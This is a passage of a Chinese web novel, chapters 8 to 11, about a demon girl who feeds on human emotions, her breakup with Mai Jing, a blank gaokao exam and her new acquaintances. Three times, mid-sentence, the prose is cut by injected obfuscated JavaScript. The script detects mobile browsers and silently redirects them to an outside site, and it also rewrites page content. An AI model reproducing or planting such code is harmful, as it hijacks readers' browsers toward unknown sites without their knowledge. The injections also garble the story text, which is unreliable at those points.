在睡觉前,哥哥亲吻我的额头,告诉我以后不会再有高利贷找上门,虽然还有很长一段时间住在这里,但以后会拥有属于我们俩的家,他会努力让我住上想要的大房子。 狂风暴雨冲洗大地。 一切翻篇。 8. 第八章 那天以后,哥哥找到了工作,每天像浦真天一样早出晚归,以前的事真就烟消云散,没人再提起,墙壁上红油漆逐渐变淡,变成了粉色。 浦真天头上的粉色也掉完了,变成了浅金色,那天以后,他的西装也换成颜色,但我只见过一次。 生活正朝着好的方向发展。 但有一点很不好, ——我的进食时间变得混乱。 因为哥哥总是很晚才回来,还没吃饭我就睡着了,早上醒来还没吃几口又要走,我对此很不满,每天缠着要他送我上学,但在学校,我还是决定自寻办法。 为了晚上不饿肚子,我黏上了麦景。 上学的第一件事就是在学校里寻找他的踪迹,从固定刷新点天台扩散到各个角落,课间休息偷摸溜出去找他,顺着食物的气息精准抓人。 他的刷新地方总是在角落,教室的后排、走廊的尽头、教学楼背后的花坛…… 唯一不变的是,他脸上总带着的淤青,在看到我之前,神情阴郁冷淡,安静得像一抹灰尘。 和其他钟爱学习的高中生不一样,麦景总是很闲,也不怎么热爱学习,每次我来找他,他一定有空,上次听他说工作很重要,好像也没有那么重要。 距离高考越来越近,班主任彻底撒手班级管理,对我出去的行为视而不见,所以我更理直气壮。 我甚至带着麦景逃学,去游戏厅玩。 他总是输给我,让我既得意又嫌弃,因为他太容易打败,游戏体验大打折扣,多数时间他站在旁边,看我欺负小学生,帮我处理哭得哇哇叫的小孩。 最后一次逃学,我跟他在湖边兜圈,因为钱被拿去充了游戏,麦景的兜又被我掏得干干净净,所以约会的方式变得十分纯朴。 一到外面,麦景就变成沉默的随从,我走哪他跟到哪,我说干什么他就干什么。 我们闷头走路,一句话也不说,我一边走路一边消食,懒得说话,麦景把有心事写在脸上,但始终不开口。 他不说,我就不问。 走到半路时,不速之客登场。 扛着鱼竿的大汉和我们迎面相撞,端着一张不好惹的、凶神恶煞的长相,看见我们瞪大双眼,想转身又硬停下。 麦景脸色大变,上前一步挡在我身前,冷言发问:“你要干什么?上次我已经说得很清楚了。” 结尾时,他压低声音,像只猫浑身警惕。 我盯着大汉的脸瞧,恍然大悟,这不就是之前领头打麦景的人吗? 大汉拧着眉,张嘴欲言,气势汹汹,看着格外凶狠。 在他拧眉的那一刻,我立马退到旁边,防止被误伤。 大汉注意到我的动作,脸上闪过一丝尴尬,咳嗽几声,粗着嗓子说:“你知道就好!记住你的身份,下次再让我知道你的小手段,没你好果子吃。” 他狠辣地甩下重话,扛着鱼竿扬长而去,有几分短剧里经典反派的精髓。 我很诧异,难道麦景拿的是龙傲天剧本吗? 麦景只告诉我没事,也没解释为什么,努力转移话题,磕磕巴巴地提起前几天一起打游戏的事,说着说着停了下来,再次变得沉默。 我环顾四周,确认不会有人突然冒出来说迎接龙王。 他不说话,我就当做无事发生,继续拉着他在湖边转圈,结果又在原来的地方,再次遇到了甩狠话的大汉。 他斜眼看见我们,以迅雷不及掩耳之势放下鱼竿,别着脸,若无其事离开,甚至没有再甩狠话。 我从他离开的背影里品出了尴尬,他走得很急,没带走鱼桶,我特地过去看了一眼,一条鱼也没有。 我还以为他等着打麦景一顿呢。 上次在街上,他遇上麦景就开始揍,结果这次反而像是避之不及,我问麦景那人是谁,他沉默片刻后,说是街上的混混,因为看不惯他,所以总是来找茬。 我点了点头,因为他确实长了张嚣张的脸,总是双手插兜、拽了吧唧的,被人找茬也正常。 天空染上黄色,像是沾上啤酒,云朵沉沉甸甸的,湖边围着茂密的树,再往远处看,高楼林立,还没天黑就亮起了灯,上次走在河边,远处的富人区也是这么亮。 我看了眼身侧的麦景,他也看向我,嘴唇动了动,眼中闪烁着光,黑发被风吹乱,显得有点可怜。我停下脚步,也该进行感情维护了,我正准备开口。 旁边的灌木丛突然跑出两只野猫,体态肥硕,喵叫着朝我们冲了过来。 猫靠近我的脚边,想凭借外貌获得食物,但我是个冷酷的恶魔,无视了撩过小腿的柔软尾巴。 我冷笑一声,完全不为所动! 看看它光滑的皮毛,指不定有多少人喂,肯定活得比我不愁食物。 身后传来一声猫叫,我转头看去,麦景僵硬在原地不敢动,橘猫在他脚下翻滚,露出毛茸茸的肚皮。 他面色苍白,勉强向前迈脚,但橘猫立刻站起来,用爪子勾他的裤子。 麦景如遭重击,无措地站在原地,眼睛瞪得溜圆,以前总是半眯着,我也是第一次看他眼睛这么大。 “你怕猫?” 我隔岸观火,不懂一只猫有什么好怕的,但看他脸色苍白,整个人汗如雨下,我还是出手赶走了肥猫。 等两只猫知道捞不到吃的,结伴离开,麦景才恢复正常,额头冒汗,剧烈呼吸,摸着脖子平复情绪。 为什么一只猫能造成这种杀伤力,比拳头还要吓人。 我安慰道:“它们已经走了,而且有我在,我帮你赶跑它们,你不用怕,它们伤害不了你。” “……好。”他闭了闭眼睛,唇色苍白,像陷入梦魇般,瞳孔不聚焦,直到我握住他的手,手指嵌入指缝中,他才回过神来。 麦景沉默半晌,突然开口:“小时候我家里有一只猫。” “妈妈很讨厌它,但是因为我忍了下来,有一天……我和它单独在家里的时候,它突然咬我,不停地攻击我,直到妈妈来把它弄走。” “在那之后猫消失了。” 他单薄地笑了下,“但是我还是怕猫。” 可是那个男人也打你,怎么没见怕成这样? 我是个有逻辑的恶魔,理解不了他的梦话,但我仍然点头,不管说什么点头就对了。 天色渐深,也到了分别的时候。 在我离开前,麦景叫住我,但又说不出话,最后只说出一句单调的再见。 他消瘦的身影伫立在原地,我每次回头他都在原位,身形逐渐和影子融为一体,因为想知道他能站多久,我走一段路回头看。黑色的麦景慢慢变小,最后彻底看不到。 在那天后,麦景消失了。 而我彻底怒了。 固定食物从嘴边飞走,这谁受得了,我原以为麦景离不开我,但没想到人类是说消失就能消失的生物!甚至他连说都没说! 就在我郁闷无比的时候,距离高考只剩下十天,周围的人完全沉迷学习,屁股黏在座位上,我在学校里穿梭,蹭了几口吃。 我越想越气,还没找到下个固定食物就想摆烂。 从愤怒到摆烂,我只用了两秒。 因为麦景和哥哥,我变成了懒惰的恶魔,完全不想主动做事,曾经忍饥挨饿的日子已经从我的记忆里消失,直到现在才苏醒。 我痛定思痛,将原因归结于这个世界,我之所以不想努力,是因为我的品行已经被人类给惯坏了!彻底被他们温水煮青蛙给迷惑了! 在来到这个世界的第十八年,我明白了一件事:人类是非常狡猾的生物,不能被他们的表面迷惑,能多一点食物是一点。 距离高考还剩下第十天,学校召开了动员大会,大课间非要让所有人聚集在操场,我站在人群中记恨人类型,旁边潘小谷她们对着上面的人评头品足,时不时发出笑声。 等演讲完,我还在细数人类的罪行,完全没把她们讲话的内容听进去。 中午的时候,我看着她们前往食堂,心中更是气闷,因为早上让哥哥送我来学校,还特意在校门口拖延时间,所以肚子也没有那么饿。 但也不耽误我继续讨厌麦景。 他真的消失了。从学校, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364179|183846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从世界上。 给他发的消息石沉大海,我猜他可能是被打死了,但在我不知道的时候被打死,我也有理由生气! 如果有更多食物提供源,我或许不会还不会气闷成这样。 我习惯性走上天台,趴在栏杆边看下面的风景,从高处往下看,人们像蚂蚁一样小,我很想大喊一声,质问全世界麦景在哪里,或者再来个人,再来个免费的、自动生成的食物提供人。 天上掉馅饼吧!砸死我吧! “吱呀。” 在我埋怨的时候,天台的门被推开了。 我以为是麦景,气冲冲地回头。 来人有一张陌生的脸,眉眼俊朗,穿着白色衬衫,袖口挽起,露出一块做工精细的表,他的手指间夹着未点燃的烟,看见我时,眼中闪过错愕。 不是麦景。但他有点眼熟。 我盯着烟,又看了他一眼,“这里不许抽烟。” 年轻的男人没有收回烟,而是环顾四周,最开始的错愕很快消失,神态自然,仿佛来到自家客厅,“没有禁烟标志,是我离开太久,学校新添了不能再天台抽烟的规定?” “不是。” 我理直气壮地说:“是我规定的。” 他笑了,把烟收了回去,慢步来到我身旁,单腿屈膝斜靠在栏杆上,晃眼往下看,缓慢地眯眼,“好多年没回来,晃眼楼下的风景,学校果然不一样了,但是天台还是没变。” 男人转头看我,嘴角噙着一抹笑,“我以前也经常来这。” 我:“你是?” 他的表情僵硬一瞬,微微歪头,疑惑地说:“上午你应该见过我。” 我想了想,只想起了对人类的恨意。 我摇头,坦诚地说:“没印象。” “那说明你很不认真啊,学妹。” 他说:“柯觅山,你的优秀毕业学长。” 尾音加强,特别突出优秀毕业。 怪不得他有点眼熟,原来是之前宣传片的黑色乌鸦,我喜欢他穿黑色的样子,但他今天穿了白,看着像是电影里该早点死掉的人物。 我的视线扫过他手腕上的表,发现牌子和宗朔赞助给我的一样。 这位叫柯觅山是个有钱人。 我的烦躁减少了,心中对人类的愤怒消失了。天降有钱人,努努力或许能肚子和口袋一起填满。 我想了想,问:“你抽的是什么烟?” 柯觅山有些诧异,重新拿出放回兜里的烟,开玩笑说:“你想学?这不适合小孩。” “我成年了。” 而且我五百岁。 他抽出一只烟,用食指和中指夹住,拿烟的手落在我的面前,指甲整齐圆润,手背上青筋腾起,淡淡的青紫色隐没在手腕处,我抬头,发现他正凝着我。 我发现他的眼睛和其他人不一样,颜色是深蓝色,光落进去时那点蓝色就亮起来了,像是一捧海。 我好奇地盯着他看,“你的眼睛是蓝色的。” “我是混血儿。”他说。 柯觅山手指上夹的烟晃了晃,作势要收回去,劝诫道:“专心学习吧学妹,考个好大学,以后想抽什么烟就能抽。” 我:“我打算交白卷。” 他的动作停住,疑惑地看着我,表情介于想笑和礼貌之间,正要开口时,我夺过他手里的烟。 我用转笔的方式,将烟在手里转了一圈,得意地说:“怎么样?是不是比抽烟厉害。” 抽烟的人都是为了装逼,吞云吐雾装酷,要不然为什么会喜欢对身体造成伤害的东西?就像麦景大冬天不穿外套、就像电影里的标志镜头。 我心念一动,将烟放进嘴里,学着电影里示意他点烟。 柯觅山失笑,拿出打火机,咖嚓一声打开盖子,挑眉看着我:“你真要抽?我可不想带坏小孩。” 虽然这么说,但他按下打火机,用手遮盖着火焰,将晃动的火苗递到面前,但没有直接点燃烟,而是隔着一段距离,轻挑了下眉头,视线黏在我的脸上,手稳着不动。 面前的火像是钓鱼的诱饵。 9. 第九章 咬着烟呼吸时,薄荷味的烟涌入肺部,刺激冲鼻,我忍不住咳嗽几声,柯觅山收回打火机,似笑非笑地说:“学妹还是别学抽烟——” 他的话在我吐出流畅的烟圈时终结,表情短暂空白。 这是我从宗朔那学的,戳脸颊还可以连续吐出多个烟圈,我像个金鱼吐泡泡,得意地朝他昂头,感觉自己像电影里一样酷。 获取好感度的两种方式,一是装弱,二是装酷。一般我用前一种,偶尔见机行事用第二种。 柯觅山短暂地沉默了,微微蹙眉,“你从哪学的。” “自学成才。”我对烟不感兴趣,把它放在手上,看着火星明明灭灭,饶有兴趣地说:“电影里那些人抽得很酷,他们还会吐烟龙,能吹得那——么长。” 我抬手比划,两只手伸直,示意他理解那壮观的景象,等哪天我学会了,出去露一手绝对能吸引很多人。 “……这可不是高中生该做的事,我记得学校禁止学生抽烟吧。”柯觅山唇角勾起浅笑。 “哦。”我说,“那你就是在帮助犯罪。” 他意味不明地哼笑两声,视线扫过我,笑的时候眼下卧蚕愈发明显,“那就是共犯咯。” 视线相撞。 我感受到了食物的气息,若隐若现地在鼻尖撩过,但太多浅淡,尝不出究竟是什么味。 人类对视就像是狗闻彼此的屁股,交换看不见的信息,再多看几眼就能变成心意相投,心照不宣地达成某种约定。 很神奇吧。这是融入人类社会的恶魔得到的研究性经验。 请称呼我为人类研究学者。 装完逼烟也就没用了。我看着手里的烟,天台没有垃圾桶,不知道该往哪里丢,于是往前一伸,盯着柯觅山。 他歪头回视我,深蓝色的眼睛闪烁着暗芒,像是在评估又像是在无语,他轻顶了下腮帮,僵持片刻后,低头从兜里掏出蓝色的手帕。 手帕做工精细,布料泛着细腻的光,上面还修着花纹。 他将手帕摊开,在我面前晃了下,于是,我顺势把烟暗灭在他手里。 烟头在手帕上留下黑印,柯觅山毫不可惜,径直包裹成一团,想把包成团的手帕给我,但我假装天上有鸟,转头看天,对着蔚蓝的天空啧啧称奇。 柯觅山:“自己的垃圾,总要处理一下吧。” 我理直气壮地说:“烟不是你的吗?” 柯觅山又皱了下眉,唇边浮现出笑,以一种看神奇物种的眼神看着我,“学妹,你好像很熟练啊。” 我承认耍赖是我的特长,但这也是人类逼出来的,变成穷人再不任性一点,是不是就太惨了。 “学长,我只是个好学生。” “好学生高考打算交白卷?”他故意做出疑惑的表情,戏谑地看着我,“好学生好像也不会抽烟吧。” “我是跟优秀毕业生学长学的。” 我转了圈眼睛,想起小说里的经典剧情,开始胡言乱语:“说不定其实我早就知晓你的大名,专门研究过你的喜好,蹲守在天台,等的就是在你面前装一次……” 我不禁佩服自己的幽默,哪去找我这么会开玩笑的恶魔啊。 然而,我抬头观察他的表情,竟发现他真的有一瞬间表情凝重,像是在思考可能性,眼中闪过探究。 我:? 注意到我的疑惑,柯觅山才笑了起来,眼下卧蚕浮现,浓密的睫毛遮掩住眼瞳,“学妹的脑子想得到那么周密的事吗?我很怀疑哦。” 终于,得益于我的幽默,空气中飘散的食物气息变得浓郁。 我舔了下唇,品尝出淡淡的甜味,再尝又变成辛辣,像是用切了蒜的刀切西瓜,反差又怪异,我砸吧砸吧嘴,还没想好给它取什么名字。 我问:“学长,你知道什么东西先甜后辣吗?” 柯觅山被打了个措手不及,没有第一时间回答,疑惑地说:“你问烟还是问什么?” “是食物。” 柯觅山却不直接回答,而是盯着我说:“回答这个问题,我应得得到点奖励吧,你说呢,学妹。” 我搞不懂他的脑回路,随便从兜里掏出一颗糖给他,碰巧此时铃声响起,我意识到休息时间结束,身体记忆快大脑一步,顾不上听他的回答,风一般溜走。 他疑惑的声音被我甩在脑后,连带着味道奇怪的情感一起留在天台上。 而我直到下午才意识到,我连名字都没告诉给他,而且也没留下联系方式,不由懊悔无比,跟痛失五百万一样。 他可不会像麦景一样固定刷新在天台,等着我去大口进食。 我越想越气,又想起无故消失的麦景。 他到底跑哪去了?会不会真被人打死了? 怀着这个问题,我度过了轻食减脂的十天,迎来对于其他人来说无比重要的高考。 哥哥特地请了一天假,陪我去考场,在进去的前一秒,我问他如果交白卷会怎样?他想了想,说可能会禁考1-3年。 我想那可太好了,最好永久禁考,便宜哥哥总是对我抱有莫名奇妙的幻想,觉得我能够考上大学,无论如何也要继续学习下去,就算我用最糟糕的成绩证明,他也仍然能闭眼假装不知道。 四门考试持续了两天,在最后一天,我还因为忘记自己在考试,低头看地上的蜘蛛被考官警告,但当她看到桌上的白卷,表情像是大脑褶皱全部展开,再也没警惕过我。 最后一门结束后,我空着手往外走,炎炎烈日下,哥哥站在树荫下满头冒汗,手里握着给我买的水,一看我出门立马迎了上来,问我感觉如何。 “可以回去躺了。” 我回答:“好开心。” 他抿了下唇,最终没说什么,像是往常那样走在我身边,替我遮蔽下午的太阳。 最近他瘦了不少,身形挺拔,高出人群一截,在校园里格外突出,我注意到有好些人在偷看他,刚结束高考,跃跃欲试想做点大胆的举动。 出了校门更是人声鼎沸,我们一路遇到不少要电话的人,都被哥哥搪塞过去,经过一家超市的时候,有男生突然冒出来,试探地说可以请我吃冰淇淋。 哥哥平和地替我拒绝,拉着我往旁边走。 但我停下脚步,视线从角落里移回,对他说:“我想吃冰淇淋,哥你去帮我买吧。” 哥哥愣了下,下意识看向那个搭讪的男生,但很快遮掩住神情,“好,你在这等我,我很快就回来。” 他走得很快,身影没入拥挤的人群中。 我没有看那个搭讪的人,而是笔直地往偏僻的地方的走,走进一条隔绝人声鼎沸、阴暗幽冷的巷道。 许久不见的男生在大夏天穿着外套,戴上帽子遮住大半张脸,像一颗瘦高的书,似乎以为低着头就不会被认出来,但巧克力的味道隔着很远就已经将他暴露无遗。 我来到小巷时,他慌张地想躲,但巷道尽头是墙,他躲无可躲,只能站在原地等着我靠近。 帽檐下露出线条清晰的下巴,他张了张嘴,又抿紧成一条线,像是闭紧的蚌壳,要靠外力才能撬开。 “麦景。” 我盯着戴着帽子的男生,问出那个困扰我许久的问题:“为什么突然消失?” “……” 男生仍然低着头,抬手拉了下帽檐,手背上贴着ok绷,修长的指节青一块紫一块,感受到我的视线,他的手指蜷缩,很快将手放下,背在身后。 他艰涩地开口,像是很久没休息,嘴唇上有几条干枯的裂缝,“我……有事。” 我不解:“那为什么不回消息?你的手机也坏了吗?” “……” 他沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364180|183846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 默着,外面的人群吵闹和我们无关,一边人声鼎沸,一边沉默无言,偶尔走过几个人,抽长的影子遮住了光,又无言地溜走。 “小冬。”他叫我的名字。 “对不起。” 麦景说:“我们分手吧。” 外面又走过几个人,谈话声从耳边经过,让我以为自己是听错了。 我哦了一声,问:“分手的意思是指你要和我断绝关系,还是指你再也不要见到我了?” “……对不起。”他只说对不起,声音艰涩,像是干裂开缝的土地。 分手就意味着再也见不到他,就意味着再也吃不到饭。 我:“那我不要分手。” 麦景愣怔地抬头,露出同样布满伤痕的脸,上半张脸青紫难辨,一只眼睛受伤严重,耷拉着,另一只眼睁大,颤抖地看着我。 “我不要见不到你。” 我要吃饭,我要吃饭啊! 我用不解的眼神看着他,“为什么一定要分开?为什么不能见面?明明你也在这个世界上,只要你不死,我是绝对不会放过你的,不是你说的要跟我一辈子吗?” 他的眼中闪过水光,低下头时动作有几分颤抖,露出的唇角勾起,苦笑着,呼吸几瞬后,他说:“你忘掉我吧,就当这个世界再也没有麦景这个人了。” 我:“为什么?” 我盯着他,想要搞懂人类的逻辑,看着他脸上滑落的水光,更加不懂。 他明明看着像是离不开、像是痛得不行的样子。 我一下子怒了,明白他是打定主意不让我吃这一口,非要和我作对。 我:“行,那就分手。” 可恶的人类,你去spa! 我转头往外走,半途停下脚步,转头对他说:“是我提的分手,我讨厌你!” 我快步往外走,也不往多捞几口,空气中巧克力的情感愈发浓郁,甚至在我说下讨厌时,又增长了。 人类是心口不一的生物。 我觉得麦景可能是个m,但我不是个s,我没有和他玩s.m的想法,他的欲情故纵激怒我了,而激怒我只有一个下场,那就是……呃,那就是得到我的怒火! 哥哥站在超市门口,手里握着滴水的冰淇淋,不知道等了多久,额头黑发濡湿,黑沉的眸子一瞬不移地盯着我,问我要不要换个新的。 虽然肚子饱着,但我心情全无,鼓着脸颊说:“我不吃了。” 我不吃的他就会帮忙解决,这次也不例外,哥哥拆开冰淇淋,把快要融化奶油放进嘴里,敛着眸,任由水沿着手臂刚滴下。 在回家的路上,我忍不住又开始生气,摸着饱着的胃说:“从今天起,我决定我要讨厌巧克力,以后不许家里有任何巧克力的存在。” 哥哥从来不问为什么,只是应答。 他听话的模样让我的火焰消减了些,但我仍然闷气,一脸踹飞小石头,看着它在地面上翻滚,“我真搞不懂……为什么会突然变了,我讨厌变化。” 我大概算是个□□恶魔,除了天降食物和财富,接受不了任何变化。 我:“哥,你会离开我吗?” 哥哥瞬间皱紧眉头,语气严肃:“不要说这种话。” “小冬,我不会离开你的,无论发生什么我永远会在你身边,别人会骗你,但我绝对不会。” “还是你好。” 我想了想,问:“那我可以跟你一起去上班吗?” 他沉默片刻,垂眸道:“……再等一段时间吧。还没有安定下来,以后我会尽抽时间量陪你,小冬,再等等好吗?” “好吧。” 我耸耸肩膀,逐渐忘记生气,忘记麦景。 得快点找到备用食物,我想,而且要越多越好。 因为人类是不可信的,他们会改变。 10. 第十章 [星期一,天气:晴] [我一定要征服世界,把人类全变成储备粮,绝对不会再饿肚子!加油,栾水冬!你就是地球上最强的恶魔!] [星期二,天气:晴] [玩了一天手机] [星期三,天气:阴] [玩了一天手机] [星期四,天气:雨] [玩了一天手机] [星期五,天气:晴] [栾水冬啊,栾水冬,你不能再懈怠了,明天一定要去掠夺人类!] [星期六,天气:阴] [玩了一天手机] 星期天。 我躺在沙发上,不停地滑动着手机,突然有消息弹框,我点开查看。 [宗贱朔人]:。 [宗贱朔人]:你不会还待在家里吧? [宗贱朔人]:出来打瓦 看着宗朔发来的消息,我才意识到自己在家里躺了多久,不禁想要向撒旦发问。 ——时间都去哪了? 只要起床,手机就会吸附在我的手上,自动开始播放降智视频,等肚子饿了,哥哥也回来了,然后我吃完就开始睡,等睡醒,接着进入下一个循环。 我被困在房间里,宏图壮志早已被我抛在脑后,展不了一点。 意识到这一点,我惊恐看着手机,没想到它的魔力如此大,没有上学的阻碍,我已经逐渐成为它的奴隶! 我痛定思痛,不能再这样下去了,于是我换了身衣服,晃悠着往网吧的方向走,打算畅快地打一天电脑游戏! 重新见到阳光,我竟然感到无比怀念,有种重获新生的错觉,看着经过我的路人,脑中自动播放器ai语音。 “我重生了,重生在霸道总裁前夫找上门的前一天……” 我甩甩脑袋,感觉自己快要走火入魔了……不对,我就是恶魔来着。 来到网吧的时候,宗朔已经落座不知道打了几把,旁边的烟灰缸插满烟头,他对着耳麦咒骂一声,抬头看见我,懒散地抬手打招呼,“哟,还活着呢。” “你也没死啊。” 我拉开座位,没有先开机,而是拿起他的烟看,里面空荡荡只剩下一根,正想抽出来,旁边的宗朔一把夺过。 他挑眉说:“高考完就要烟酒都沾吗?是不是有点快了。” 我理直气壮:“我没喝酒。” “这是我的,你要抽,自己去买。” “你原来教我抽烟的时候可不是这样,宗朔,你变了。”我痛心疾首,手指颤抖地指着他,“你变得更贱了。” “明明是你缠着我,我迫不得已教的,小孩子抽什么烟。” 我得不到烟不罢休,使出浑身力气挥舞双手双腿,打得宗朔惨叫连连,最后还是把烟给我了,但一到手,我又不想抽了,我只是在享受抢夺的过程。 我把烟夹在手指上,得意地看眼宗朔,他表情无奈,嘟囔着我幼稚。 我拿起烟盒端详,感慨道:“薄荷味……你们咋都喜欢这种。” 宗朔撇我一眼,语气淡淡道:“什么你们?你还认识谁?” “一个学长,看上去可有钱了。” 我登录账号,手指夹着烟晃了晃,感觉影响操作,又放在嘴里,咬着玩。 “有钱人啊。”宗朔说,“那很可恨了。” “你不也是有钱人吗?” “我不是啊。” 我上下打量他,最后吐出一句:“你脸皮真厚。” 宗朔脖梗往后仰,刘海遮住眼睛,鼻梁高挺,声音颓丧低沉,像是在叹气:“你爱信不信吧。” 我一心二用操纵电脑,朝着对面射击,嘴不饶人:“那你的钱哪里来的,总不可能是地上捡的吧,告诉哪里可以捡,我也要去。” 对面的壹决发疯猛冲,端着笔直的枪朝我冲来,势必要中门对狙,和我玩硬的。 一连串枪响在耳边,我整个人一抖,乱暗蹲下,来回蹲起射击,好一会儿他没中,我也没中。 我正在较劲,耳边传来低沉的声音,摩擦过耳膜,宗朔笑了两声,轻飘飘地说:“钱啊……女人施舍的。” 我的手指停下,下意识转头向他看去,耳边响起枪声,再回头时屏幕已经黑了,队友开始在麦里献祭我的祖宗十八代,我立马也献祭了宗朔的祖宗十八代! 宗朔啧了一声,开麦对喷起来。 他嘴特别毒,而且360度立体防御,别人一攻击他,他就摆烂,搞得队友哑口无言,熄火闭麦。 我骂他,他骂队友,队友骂我,我们三形成完美闭环。 等我气消了,忍不住问他:“哪来的女人施舍你?” “路边遇到的。” 他随口回答,又无奈地说:“你用大招啊,别用枪指着我,我又不是你的敌人。” 我用枪对准他的脑袋,不顾耳边传来枪声,急切地问:“在哪条路。” “怎么?你还想抢走我的机遇啊,说什么你都信,哪有那么好的事……啧,我死了,你给我报仇。” 我看着那个上传下跳的火男,随手复活队友,在他爆发出一串脏话时,率先一步躲了起来,他不出意料死了,然后就到我最爱的收割。 虽然我成功复仇,但对面不出意料地赢了,队友连发三条别打游戏了,找个工作吧的消息。 我沉默片刻,摸摸下巴道:“我觉得我或许应该找个工作。” 宗朔键盘敲得噼里啪啦响,“狗叫你也听,高考把你脑子烧糊涂了。” “我是认真的。” 我正色道:“再在家里待下去我的大脑会腐烂的,说不定会因为懒惰饿死。” “……?” “你不懂啊。” 我问他:“你觉得我怎么样?” “小屁孩什么怎么样,别想太多,玩你的吧,人生也不长,享受就对了,其他事让别人抄心吧,珍惜你还没长大的时间……以后有得你累的。” 宗朔打了个哈欠,懒散地点了两下鼠标,撩起眼皮看我:“你缺钱?” 他的眼睛是很黑的黑色,遮在刘海后面,总是微微眯起,看人像是在嘲讽似的,但其实只是因为眼睛干涩,熬夜太多睁不开而已。 他这幅样子又让我想起了麦景,麦景也总是半睁着眼睛。 想起麦景,我啧了一声,非常不爽。 我认真地说:“我也缺爱。” 宗朔拿起手机给我转账,名字写着医疗费三个字,在我疑惑的眼神中说,“给你治治脑子。” “工作很苦的,想吃苦你就试试吧,别怪我没提醒你。” 但我觉得我还是应该找点事做,最后能接触很多人类,我胡乱地咬烟头,把它弄得乱七八糟,等玩腻了,又塞回宗朔兜里,看着他额头凸起青筋。 我们玩了一整个下午的游戏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364181|183846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,原本我还想着继续打到晚上,但宗朔说他有事要做,我只能再掏他一笔,遗憾告别。 走在回家的路上。 我开始观察路上的人类,想要找到或许撒钱的富婆富爷,又或者遇到一个像是麦景那样白给的食物。 路上行人匆匆,没人愿意停下脚步,拥挤的街头很快换了一批又一批的人,像我这样的街溜子少得可怜,零星几个穿着铅笔裤,洞洞鞋瘦得像猴,连自己也喂不饱。 他们身上飘散出食物的气息,我吃了几口,但很快从他们身边经过,脚底抹油溜远了。 我可悲地发现,原来我不止是个懒货,还是个挑食的懒货。 不想要长得丑的食物。看着食欲会降低,闭着眼睛能吃几口,混杂的食物在胃部翻涌,像是吃了一盆大杂烩,胃部胀胀的。 我仔细想了想,发现在来到人类世界前,我就是个颜控了,不然也不会跑去蹭天使。 我看着天,叹了口气。 我的标准难道很高吗?只是想要长得好看、又爱白给的食物储备粮,这有什么错? 人类有十几个亿,长得好看的人计量单位应该是千万,所以我的食物储备足足有千万啊!我挑点怎么了,我也是个有追求的恶魔。 想法自洽后,我不由自信起来,因为站在粮仓里的可是几千万个人类啊,我不可能会饿死的! 正在我得意的时候,视线斜角出现一个眼熟的身影,黑色的大衣像是乌鸦的羽毛,让我瞬间注意到了他,男人转过头,露出俊朗的脸。 蒜刀切西瓜! 我的精神振奋,心里又是一阵意想不到的狂喜。 宗朔路口不一定遇到富婆,但我一定遇到了富爷! 柯觅山站在路口,不知道在等谁,面无表情时难以亲近,眉头微沉,双眼盯着旁边的商店,咬肌时不时浮现,像是心情很差的样子。 我自信上前,抬手:“嗨。” 他转头看见我,愣了一下,表情微妙,眉头仍然沉着:“学妹?这次又是——” 我抢先问:“上次的问题,你想好是什么了吗?” 柯觅山敛眸,浓密的眼睫下垂,轻挑起唇角,视线往商店里再看了一次,语气平淡地说:“什么先辣后甜……这个问题再问第二次可不好玩了。” 但他还是回答了。 “甜姜。” 很好。我记下他的食物名。掏出手机放在他面前,“既然这样,交换联系方式吧。” 他皱起眉,像是在看外星生物般不理解地看着我,但很快这点疑惑被抹去,柯觅山莫名地笑了,轻巧接过我的电话,存入自己的联系方式。 “我该说感谢吗?”他挑起眉说,“两次就得到了你的联系方式。” 他有点讨人厌了。 明明是我得到了他的联系方式!我的一双大手操纵着这一切! 我刚想辩驳几句,柯觅山忽然昂了下头,示意我往后看。 我的注意力一下子转向,不受控制往后看,紧接着便看到从奢侈品商店走出来的中年妇女,她身边跟着一个手里提着大包小包的年轻男人,此时男人脸上洋溢着幸福,移不开看向女人的视线。 柯觅山冷不丁开口,语气戏谑:“现在该我问了,学妹,你看出什么了?” 我瞪大眼睛,指着两人,情不自禁地叫出声, ——“富婆!” 真的能在路口遇到诶! 11. 第十一章 “富婆!” 我坚定地说。 柯觅山诡异地沉默了,片刻后传来断断续续的笑声,我转头看向他时,他已经捂住腹部笑得眼角带泪。 我:? 我:“你什么意思啊?” 他直起腰,唇角不由自主提起,眼睛因为生理盐水亮着,平复心情后,才慢悠悠地说:“我觉得你说得对。” “本来就对。”我得意地说。 富婆带着年轻男人坐上豪车,我和柯觅山盯着汽车屁股,在大街上干瞪眼,我在思考怎么丝滑掏他的钱,而他则是莫名其妙的笑着。 我:“学长,那个你有——” “我有。”他果断应声,但说的却不是我想听到的答案,他笑着说:“我很闲的,有的是时间,学妹想做什么?” 